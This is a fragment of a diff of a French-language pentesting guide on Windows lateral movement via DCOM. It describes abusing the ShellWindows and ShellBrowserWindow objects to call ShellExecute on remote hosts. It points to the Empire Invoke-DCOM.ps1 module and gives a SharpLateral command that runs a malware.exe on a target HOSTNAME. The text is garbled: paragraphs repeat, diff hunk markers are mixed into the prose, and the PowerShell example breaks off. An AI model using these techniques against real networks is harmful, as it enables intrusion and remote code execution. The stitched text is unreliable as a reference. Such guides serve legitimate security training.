Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en avant en raison de leur absence de Launch Permissions explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites.
### ShellWindows
Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation d'objets en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instancié, l'interaction est possible via la méthode `WindowsShell.Item`, conduisant à l'invocation de méthodes telles que `Document.Application.ShellExecute`.
Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instancié, l'interaction est possible via la méthode `WindowsShell.Item`, permettant l'invocation de méthodes telles que `Document.Application.ShellExecute`.
Des commandes PowerShell d'exemple ont été fournies pour instancier l'objet et exécuter des commandes à distance:
```powershell
@ -109,7 +109,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
## Outils Automatiques
* Le script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permet d'invoquer facilement toutes les méthodes commentées pour exécuter du code sur d'autres machines.
* Vous pourriez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral):
* Vous pourriez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral) :
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}